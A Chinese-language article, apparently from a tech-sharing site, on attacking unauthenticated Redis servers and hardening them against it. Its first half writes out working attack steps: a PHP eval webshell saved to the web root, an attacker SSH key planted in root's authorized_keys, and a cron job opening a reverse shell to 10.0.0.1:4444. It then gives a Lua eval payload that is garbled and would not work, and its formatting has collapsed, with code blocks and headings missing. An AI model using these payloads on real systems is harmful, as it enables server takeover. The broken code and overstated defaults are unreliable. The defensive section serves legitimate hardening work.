# Redis+Getshell的示例分析
## 引言
Redis作為高性能的鍵值存儲數據庫,廣泛應用于緩存、消息隊列等場景。然而,由于配置不當或版本漏洞,Redis服務器可能成為攻擊者獲取服務器權限的入口。本文將通過技術原理、攻擊場景和防御措施三個維度,分析Redis被用于GetShell的典型攻擊路徑。
---
## 一、Redis未授權訪問漏洞原理
### 1.1 漏洞成因
Redis默認綁定`0.0.0.0:6379`且無認證機制,若管理員未配置:
- `requirepass`認證密碼
- `bind 127.0.0.1`限制訪問IP
- 防火墻規則
攻擊者可直接通過`redis-cli -h <target>`連接服務器。
### 1.2 信息泄露驗證
```bash
$ redis-cli -h 192.168.1.100
192.168.1.100:6379> info
# 獲取服務器版本、數據目錄等敏感信息
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']);?>"
save
關鍵點: - 需要Redis運行賬戶對Web目錄有寫權限 - 適用于Apache/Nginx等未做權限分離的場景
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC... attacker@kali\n\n"
save
利用條件: - Redis以root權限運行 - 服務器啟用SSH服務
config set dir /var/spool/cron
config set dbfilename root
set x "\n* * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n"
save
特征: - 適用于Linux系統 - 需要目標服務器可出網
利用工具: - RedisRogueServer - redis-ssrf
攻擊流程:
1. 偽造惡意Redis主節點
2. 誘導從節點執行MODULE LOAD命令
3. 加載惡意.so文件實現RCE
eval 'local io = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local f = io(); local cmd = "id"; local res = f:read("|"..cmd.."|"); return res' 0
限制:
- 需存在可加載的Lua庫文件
- Redis配置未禁用SCRIPT KILL
# 必選項
bind 127.0.0.1
requirepass ComplexPassword123!
rename-command FLUSHALL ""
protected-mode yes
# 推薦項
port 6380 # 修改默認端口
dir /var/lib/redis/ # 設置專用數據目錄
iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP
| 措施 | 說明 |
|---|---|
| 低權限運行 | 創建專用redis賬戶并限制目錄權限 |
| 定期日志審計 | 監控可疑CONFIG/SET操作 |
| 禁用高危命令 | rename-command CONFIG “” |
# 檢查可疑文件
find / -name "*.rdb" -mtime -1
ls -al /var/spool/cron/
# 檢查Redis日志
grep -E "CONFIG|SAVE" /var/log/redis/redis.log
Redis的GetShell利用本質是配置缺陷與權限問題的疊加。管理員應當遵循最小權限原則,結合網絡隔離與命令限制構建縱深防御體系。建議定期使用Redis-Check等工具進行安全檢測,防患于未然。
本文僅作技術研究用途,嚴禁用于非法測試!實際滲透測試需獲得書面授權。 “`
注:實際執行攻擊行為屬于違法行為,本文所有示例僅供安全研究人員進行防御方案設計參考。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。